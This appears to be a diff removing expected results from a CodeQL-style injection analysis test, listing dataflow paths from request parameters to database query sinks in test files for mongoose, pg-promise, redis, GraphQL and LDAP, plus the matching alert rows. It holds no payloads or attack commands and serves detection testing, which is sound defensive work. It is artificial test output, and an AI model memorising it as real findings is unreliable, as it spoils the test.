-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:39:16:39:20 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:42:19:42:23 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:45:28:45:32 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:48:28:48:32 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:51:28:51:32 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:54:22:54:26 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:57:18:57:22 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:60:22:60:26 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:63:21:63:25 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:65:32:65:36 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:67:27:67:31 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:68:8:68:12 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:71:17:71:21 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:72:10:72:14 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:73:8:73:12 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:74:7:74:11 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:75:16:75:20 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:76:12:76:16 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:77:10:77:14 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:81:37:81:41 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:82:46:82:50 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:83:47:83:51 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:85:46:85:50 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:87:51:87:55 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:89:46:89:50 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:92:46:92:50 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:94:51:94:55 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:96:46:96:50 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:104:21:104:25 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:111:14:111:18 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:113:31:113:35 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:133:38:133:42 | query | provenance | Config |
-| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:136:30:136:34 | query | provenance | Config |
-| mongoose.js:24:22:24:26 | query | mongoose.js:24:21:24:27 | [query] | provenance | Config |
-| mongoose.js:24:22:24:26 | query | mongoose.js:27:17:27:21 | query | provenance |  |
-| mongoose.js:27:17:27:21 | query | mongoose.js:30:22:30:26 | query | provenance |  |
-| mongoose.js:30:22:30:26 | query | mongoose.js:33:21:33:25 | query | provenance |  |
-| mongoose.js:33:21:33:25 | query | mongoose.js:36:28:36:32 | query | provenance |  |
-| mongoose.js:36:28:36:32 | query | mongoose.js:39:16:39:20 | query | provenance |  |
-| mongoose.js:39:16:39:20 | query | mongoose.js:42:19:42:23 | query | provenance |  |
-| mongoose.js:42:19:42:23 | query | mongoose.js:45:28:45:32 | query | provenance |  |
-| mongoose.js:45:28:45:32 | query | mongoose.js:48:28:48:32 | query | provenance |  |
-| mongoose.js:48:28:48:32 | query | mongoose.js:51:28:51:32 | query | provenance |  |
-| mongoose.js:51:28:51:32 | query | mongoose.js:54:22:54:26 | query | provenance |  |
-| mongoose.js:54:22:54:26 | query | mongoose.js:57:18:57:22 | query | provenance |  |
-| mongoose.js:57:18:57:22 | query | mongoose.js:60:22:60:26 | query | provenance |  |
-| mongoose.js:60:22:60:26 | query | mongoose.js:63:21:63:25 | query | provenance |  |
-| mongoose.js:63:21:63:25 | query | mongoose.js:65:32:65:36 | query | provenance |  |
-| mongoose.js:65:32:65:36 | query | mongoose.js:67:27:67:31 | query | provenance |  |
-| mongoose.js:67:27:67:31 | query | mongoose.js:68:8:68:12 | query | provenance |  |
-| mongoose.js:68:8:68:12 | query | mongoose.js:71:17:71:21 | query | provenance |  |
-| mongoose.js:71:17:71:21 | query | mongoose.js:72:10:72:14 | query | provenance |  |
-| mongoose.js:72:10:72:14 | query | mongoose.js:73:8:73:12 | query | provenance |  |
-| mongoose.js:73:8:73:12 | query | mongoose.js:74:7:74:11 | query | provenance |  |
-| mongoose.js:74:7:74:11 | query | mongoose.js:75:16:75:20 | query | provenance |  |
-| mongoose.js:75:16:75:20 | query | mongoose.js:76:12:76:16 | query | provenance |  |
-| mongoose.js:76:12:76:16 | query | mongoose.js:77:10:77:14 | query | provenance |  |
-| mongoose.js:77:10:77:14 | query | mongoose.js:81:37:81:41 | query | provenance |  |
-| mongoose.js:81:37:81:41 | query | mongoose.js:82:46:82:50 | query | provenance |  |
-| mongoose.js:82:46:82:50 | query | mongoose.js:83:47:83:51 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:85:46:85:50 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:87:51:87:55 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:89:46:89:50 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:92:46:92:50 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:94:51:94:55 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:96:46:96:50 | query | provenance |  |
-| mongoose.js:83:47:83:51 | query | mongoose.js:104:21:104:25 | query | provenance |  |
-| mongoose.js:104:21:104:25 | query | mongoose.js:111:14:111:18 | query | provenance |  |
-| mongoose.js:111:14:111:18 | query | mongoose.js:113:31:113:35 | query | provenance |  |
-| mongoose.js:113:31:113:35 | query | mongoose.js:133:38:133:42 | query | provenance |  |
-| mongoose.js:115:6:115:22 | id | mongoose.js:123:20:123:21 | id | provenance |  |
-| mongoose.js:115:6:115:22 | id | mongoose.js:130:23:130:24 | id | provenance |  |
-| mongoose.js:115:11:115:22 | req.query.id | mongoose.js:115:6:115:22 | id | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:116:22:116:25 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:117:21:117:24 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:118:21:118:24 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:119:18:119:21 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:120:22:120:25 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:121:16:121:19 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:122:19:122:22 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:124:28:124:31 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:125:28:125:31 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:126:28:126:31 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:127:18:127:21 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:128:22:128:25 | cond | provenance |  |
-| mongoose.js:115:25:115:45 | cond | mongoose.js:129:21:129:24 | cond | provenance |  |
-| mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:115:25:115:45 | cond | provenance |  |
-| mongoose.js:130:23:130:24 | id | mongoose.js:130:16:130:26 | { _id: id } | provenance | Config |
-| mongoose.js:133:38:133:42 | query | mongoose.js:136:30:136:34 | query | provenance |  |
-| mongooseJsonParse.js:19:11:19:20 | query | mongooseJsonParse.js:23:19:23:23 | query | provenance |  |
-| mongooseJsonParse.js:19:19:19:20 | {} | mongooseJsonParse.js:19:11:19:20 | query | provenance |  |
-| mongooseJsonParse.js:20:19:20:44 | JSON.pa ... y.data) | mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | provenance | Config |
-| mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | mongooseJsonParse.js:19:11:19:20 | query | provenance | Config |
-| mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | mongooseJsonParse.js:19:19:19:20 | {} | provenance | Config |
-| mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | mongooseJsonParse.js:23:19:23:23 | query | provenance | Config |
-| mongooseJsonParse.js:20:30:20:43 | req.query.data | mongooseJsonParse.js:20:19:20:44 | JSON.pa ... y.data) | provenance | Config |
-| mongooseModelClient.js:10:7:10:32 | v | mongooseModelClient.js:11:22:11:22 | v | provenance |  |
-| mongooseModelClient.js:10:11:10:32 | JSON.pa ... body.x) | mongooseModelClient.js:10:7:10:32 | v | provenance |  |
-| mongooseModelClient.js:10:22:10:29 | req.body | mongooseModelClient.js:10:22:10:31 | req.body.x | provenance | Config |
-| mongooseModelClient.js:10:22:10:31 | req.body.x | mongooseModelClient.js:10:11:10:32 | JSON.pa ... body.x) | provenance | Config |
-| mongooseModelClient.js:11:22:11:22 | v | mongooseModelClient.js:11:16:11:24 | { id: v } | provenance | Config |
-| mongooseModelClient.js:12:22:12:29 | req.body | mongooseModelClient.js:12:22:12:32 | req.body.id | provenance | Config |
-| mongooseModelClient.js:12:22:12:32 | req.body.id | mongooseModelClient.js:12:16:12:34 | { id: req.body.id } | provenance | Config |
-| mysql.js:6:9:6:31 | temp | mysql.js:15:62:15:65 | temp | provenance |  |
-| mysql.js:6:9:6:31 | temp | mysql.js:19:70:19:73 | temp | provenance |  |
-| mysql.js:6:16:6:31 | req.params.value | mysql.js:6:9:6:31 | temp | provenance |  |
-| mysql.js:15:62:15:65 | temp | mysql.js:15:18:15:65 | 'SELECT ...  + temp | provenance |  |
-| mysql.js:19:70:19:73 | temp | mysql.js:19:26:19:73 | 'SELECT ...  + temp | provenance |  |
-| pg-promise-types.ts:7:9:7:28 | taint | pg-promise-types.ts:8:17:8:21 | taint | provenance |  |
-| pg-promise-types.ts:7:17:7:28 | req.params.x | pg-promise-types.ts:7:9:7:28 | taint | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:9:10:9:14 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:10:11:10:15 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:11:17:11:21 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:12:10:12:14 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:13:12:13:16 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:14:18:14:22 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:15:11:15:15 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:16:10:16:14 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:17:16:17:20 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:18:12:18:16 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:19:13:19:17 | query | provenance |  |
-| pg-promise.js:6:7:7:55 | query | pg-promise.js:22:11:22:15 | query | provenance |  |
-| pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:6:7:7:55 | query | provenance |  |
-| pg-promise.js:9:10:9:14 | query | pg-promise.js:10:11:10:15 | query | provenance |  |
-| pg-promise.js:10:11:10:15 | query | pg-promise.js:11:17:11:21 | query | provenance |  |
-| pg-promise.js:11:17:11:21 | query | pg-promise.js:12:10:12:14 | query | provenance |  |
-| pg-promise.js:12:10:12:14 | query | pg-promise.js:13:12:13:16 | query | provenance |  |
-| pg-promise.js:13:12:13:16 | query | pg-promise.js:14:18:14:22 | query | provenance |  |
-| pg-promise.js:14:18:14:22 | query | pg-promise.js:15:11:15:15 | query | provenance |  |
-| pg-promise.js:15:11:15:15 | query | pg-promise.js:16:10:16:14 | query | provenance |  |
-| pg-promise.js:16:10:16:14 | query | pg-promise.js:17:16:17:20 | query | provenance |  |
-| pg-promise.js:17:16:17:20 | query | pg-promise.js:18:12:18:16 | query | provenance |  |
-| pg-promise.js:18:12:18:16 | query | pg-promise.js:19:13:19:17 | query | provenance |  |
-| pg-promise.js:19:13:19:17 | query | pg-promise.js:22:11:22:15 | query | provenance |  |
-| pg-promise.js:22:11:22:15 | query | pg-promise.js:60:20:60:24 | query | provenance |  |
-| pg-promise.js:22:11:22:15 | query | pg-promise.js:63:23:63:27 | query | provenance |  |
-| pg-promise.js:22:11:22:15 | query | pg-promise.js:64:16:64:20 | query | provenance |  |
-| pg-promise.js:39:7:39:19 | req.params.id | pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | provenance |  |
-| pg-promise.js:40:7:40:21 | req.params.name | pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | provenance |  |
-| pg-promise.js:41:7:41:20 | req.params.foo | pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | provenance |  |
-| redis.js:10:16:10:23 | req.body | redis.js:10:16:10:27 | req.body.key | provenance | Config |
-| redis.js:12:9:12:26 | key | redis.js:13:16:13:18 | key | provenance |  |
-| redis.js:12:9:12:26 | key | redis.js:18:16:18:18 | key | provenance |  |
-| redis.js:12:9:12:26 | key | redis.js:19:43:19:45 | key | provenance |  |
-| redis.js:12:9:12:26 | key | redis.js:25:14:25:16 | key | provenance |  |
-| redis.js:12:9:12:26 | key | redis.js:26:14:26:16 | key | provenance |  |
-| redis.js:12:9:12:26 | key | redis.js:32:28:32:30 | key | provenance |  |
-| redis.js:12:15:12:22 | req.body | redis.js:12:15:12:26 | req.body.key | provenance | Config |
-| redis.js:12:15:12:26 | req.body.key | redis.js:12:9:12:26 | key | provenance |  |
-| redis.js:13:16:13:18 | key | redis.js:18:16:18:18 | key | provenance |  |
-| redis.js:18:16:18:18 | key | redis.js:19:43:19:45 | key | provenance |  |
-| redis.js:19:43:19:45 | key | redis.js:25:14:25:16 | key | provenance |  |
-| redis.js:25:14:25:16 | key | redis.js:26:14:26:16 | key | provenance |  |
-| redis.js:26:14:26:16 | key | redis.js:30:23:30:25 | key | provenance |  |
-| redis.js:26:14:26:16 | key | redis.js:32:28:32:30 | key | provenance |  |
-| redis.js:38:11:38:28 | key | redis.js:39:16:39:18 | key | provenance |  |
-| redis.js:38:11:38:28 | key | redis.js:43:27:43:29 | key | provenance |  |
-| redis.js:38:11:38:28 | key | redis.js:46:34:46:36 | key | provenance |  |
-| redis.js:38:17:38:24 | req.body | redis.js:38:17:38:28 | req.body.key | provenance | Config |
-| redis.js:38:17:38:28 | req.body.key | redis.js:38:11:38:28 | key | provenance |  |
-| socketio.js:10:25:10:30 | handle | socketio.js:11:46:11:51 | handle | provenance |  |
-| socketio.js:11:46:11:51 | handle | socketio.js:11:12:11:53 | `INSERT ... andle}` | provenance |  |
-| tst2.js:9:66:9:78 | req.params.id | tst2.js:9:27:9:84 | "select ... d + "'" | provenance |  |
-| tst3.js:7:7:8:55 | query1 | tst3.js:9:14:9:19 | query1 | provenance |  |
-| tst3.js:8:16:8:34 | req.params.category | tst3.js:7:7:8:55 | query1 | provenance |  |
-| tst4.js:8:46:8:60 | $routeParams.id | tst4.js:8:10:8:66 | 'SELECT ... d + '"' | provenance |  |
-| tst.js:10:46:10:58 | req.params.id | tst.js:10:10:10:64 | 'SELECT ... d + '"' | provenance |  |
 subpaths
-#select
-| graphql.js:10:34:20:5 | `\\n      ... }\\n    ` | graphql.js:8:16:8:28 | req.params.id | graphql.js:10:34:20:5 | `\\n      ... }\\n    ` | This query string depends on a $@. | graphql.js:8:16:8:28 | req.params.id | user-provided value |
-| graphql.js:27:30:27:40 | `foo ${id}` | graphql.js:26:16:26:28 | req.params.id | graphql.js:27:30:27:40 | `foo ${id}` | This query string depends on a $@. | graphql.js:26:16:26:28 | req.params.id | user-provided value |
-| graphql.js:30:32:30:42 | `foo ${id}` | graphql.js:26:16:26:28 | req.params.id | graphql.js:30:32:30:42 | `foo ${id}` | This query string depends on a $@. | graphql.js:26:16:26:28 | req.params.id | user-provided value |
-| graphql.js:33:18:33:28 | `foo ${id}` | graphql.js:26:16:26:28 | req.params.id | graphql.js:33:18:33:28 | `foo ${id}` | This query string depends on a $@. | graphql.js:26:16:26:28 | req.params.id | user-provided value |
-| graphql.js:44:14:44:24 | `foo ${id}` | graphql.js:39:16:39:28 | req.params.id | graphql.js:44:14:44:24 | `foo ${id}` | This query string depends on a $@. | graphql.js:39:16:39:28 | req.params.id | user-provided value |
-| graphql.js:48:44:48:54 | `foo ${id}` | graphql.js:39:16:39:28 | req.params.id | graphql.js:48:44:48:54 | `foo ${id}` | This query string depends on a $@. | graphql.js:39:16:39:28 | req.params.id | user-provided value |
-| graphql.js:56:39:56:49 | `foo ${id}` | graphql.js:55:16:55:28 | req.params.id | graphql.js:56:39:56:49 | `foo ${id}` | This query string depends on a $@. | graphql.js:55:16:55:28 | req.params.id | user-provided value |
-| graphql.js:58:66:58:76 | `foo ${id}` | graphql.js:55:16:55:28 | req.params.id | graphql.js:58:66:58:76 | `foo ${id}` | This query string depends on a $@. | graphql.js:55:16:55:28 | req.params.id | user-provided value |
-| graphql.js:75:46:75:64 | "{ foo" + id + " }" | graphql.js:74:14:74:25 | req.query.id | graphql.js:75:46:75:64 | "{ foo" + id + " }" | This query string depends on a $@. | graphql.js:74:14:74:25 | req.query.id | user-provided value |
-| graphql.js:84:14:90:8 | `{\\n     ...      }` | graphql.js:74:14:74:25 | req.query.id | graphql.js:84:14:90:8 | `{\\n     ...      }` | This query string depends on a $@. | graphql.js:74:14:74:25 | req.query.id | user-provided value |
-| graphql.js:120:38:120:48 | `foo ${id}` | graphql.js:119:16:119:28 | req.params.id | graphql.js:120:38:120:48 | `foo ${id}` | This query string depends on a $@. | graphql.js:119:16:119:28 | req.params.id | user-provided value |
-| html-sanitizer.js:16:9:16:59 | `SELECT ...  param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ...  param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value |
-| json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
-| json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value |
-| json-schema-validator.js:55:22:55:26 | query | json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:55:22:55:26 | query | This query object depends on a $@. | json-schema-validator.js:50:34:50:47 | req.query.data | user-provided value |
-| json-schema-validator.js:59:22:59:26 | query | json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:59:22:59:26 | query | This query object depends on a $@. | json-schema-validator.js:50:34:50:47 | req.query.data | user-provided value |
-| json-schema-validator.js:61:22:61:26 | query | json-schema-validator.js:50:34:50:47 | req.query.data | json-schema-validator.js:61:22:61:26 | query | This query object depends on a $@. | json-schema-validator.js:50:34:50:47 | req.query.data | user-provided value |
-| koarouter.js:17:27:17:77 | `SELECT ... nd ')}` | koarouter.js:5:13:5:19 | version | koarouter.js:17:27:17:77 | `SELECT ... nd ')}` | This query string depends on a $@. | koarouter.js:5:13:5:19 | version | user-provided value |
-| ldap.js:28:30:28:34 | opts1 | ldap.js:20:21:20:27 | req.url | ldap.js:28:30:28:34 | opts1 | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
-| ldap.js:32:5:32:61 | { filte ... e}))` } | ldap.js:20:21:20:27 | req.url | ldap.js:32:5:32:61 | { filte ... e}))` } | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
-| ldap.js:66:30:66:53 | { filte ... ilter } | ldap.js:20:21:20:27 | req.url | ldap.js:66:30:66:53 | { filte ... ilter } | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
-| ldap.js:68:27:68:42 | `cn=${username}` | ldap.js:20:21:20:27 | req.url | ldap.js:68:27:68:42 | `cn=${username}` | This query string depends on a $@. | ldap.js:20:21:20:27 | req.url | user-provided value |
-| marsdb-flow-to.js:14:17:14:21 | query | marsdb-flow-to.js:11:17:11:24 | req.body | marsdb-flow-to.js:14:17:14:21 | query | This query object depends on a $@. | marsdb-flow-to.js:11:17:11:24 | req.body | user-provided value |
-| marsdb.js:16:12:16:16 | query | marsdb.js:13:17:13:24 | req.body | marsdb.js:16:12:16:16 | query | This query object depends on a $@. | marsdb.js:13:17:13:24 | req.body | user-provided value |
-| minimongo.js:18:12:18:16 | query | minimongo.js:15:17:15:24 | req.body | minimongo.js:18:12:18:16 | query | This query object depends on a $@. | minimongo.js:15:17:15:24 | req.body | user-provided value |
-| mongodb.js:18:16:18:20 | query | mongodb.js:13:19:13:26 | req.body | mongodb.js:18:16:18:20 | query | This query object depends on a $@. | mongodb.js:13:19:13:26 | req.body | user-provided value |
-| mongodb.js:32:18:32:45 | { title ... itle) } | mongodb.js:26:19:26:26 | req.body | mongodb.js:32:18:32:45 | { title ... itle) } | This query object depends on a $@. | mongodb.js:26:19:26:26 | req.body | user-provided value |
-| mongodb.js:54:16:54:20 | query | mongodb.js:49:19:49:33 | req.query.title | mongodb.js:54:16:54:20 | query | This query object depends on a $@. | mongodb.js:49:19:49:33 | req.query.title | user-provided value |
-| mongodb.js:65:12:65:16 | query | mongodb.js:60:16:60:30 | req.query.title | mongodb.js:65:12:65:16 | query | This query object depends on a $@. | mongodb.js:60:16:60:30 | req.query.title | user-provided value |
-| mongodb.js:77:14:77:26 | { tags: tag } | mongodb.js:70:13:70:25 | req.query.tag | mongodb.js:77:14:77:26 | { tags: tag } | This query object depends on a $@. | mongodb.js:70:13:70:25 | req.query.tag | user-provided value |
-| mongodb.js:85:12:85:24 | { tags: tag } | mongodb.js:70:13:70:25 | req.query.tag | mongodb.js:85:12:85:24 | { tags: tag } | This query object depends on a $@. | mongodb.js:70:13:70:25 | req.query.tag | user-provided value |
-| mongodb.js:112:14:112:18 | query | mongodb.js:107:17:107:29 | queries.title | mongodb.js:112:14:112:18 | query | This query object depends on a $@. | mongodb.js:107:17:107:29 | queries.title | user-provided value |
-| mongodb_bodySafe.js:29:16:29:20 | query | mongodb_bodySafe.js:24:19:24:33 | req.query.title | mongodb_bodySafe.js:29:16:29:20 | query | This query object depends on a $@. | mongodb_bodySafe.js:24:19:24:33 | req.query.title | user-provided value |
-| mongoose.js:24:21:24:27 | [query] | mongoose.js:21:16:21:23 | req.body | mongoose.js:24:21:24:27 | [query] | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:27:17:27:21 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:27:17:27:21 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:30:22:30:26 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:30:22:30:26 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:33:21:33:25 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:33:21:33:25 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:36:28:36:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:36:28:36:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:39:16:39:20 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:39:16:39:20 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:42:19:42:23 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:42:19:42:23 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:45:28:45:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:45:28:45:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:48:28:48:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:48:28:48:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:51:28:51:32 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:51:28:51:32 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:54:22:54:26 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:54:22:54:26 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:57:18:57:22 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:57:18:57:22 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:60:22:60:26 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:60:22:60:26 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:63:21:63:25 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:63:21:63:25 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:65:32:65:36 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:65:32:65:36 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:67:27:67:31 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:67:27:67:31 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:68:8:68:12 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:68:8:68:12 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:71:17:71:21 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:71:17:71:21 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:72:10:72:14 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:72:10:72:14 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:73:8:73:12 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:73:8:73:12 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:74:7:74:11 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:74:7:74:11 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:75:16:75:20 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:75:16:75:20 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:77:10:77:14 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:77:10:77:14 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:82:46:82:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:82:46:82:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:83:47:83:51 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:83:47:83:51 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:85:46:85:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:85:46:85:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:87:51:87:55 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:87:51:87:55 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:89:46:89:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:89:46:89:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:92:46:92:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:92:46:92:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:94:51:94:55 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:94:51:94:55 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:96:46:96:50 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:96:46:96:50 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:111:14:111:18 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:111:14:111:18 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongoose.js:113:31:113:35 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:113:31:113:35 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
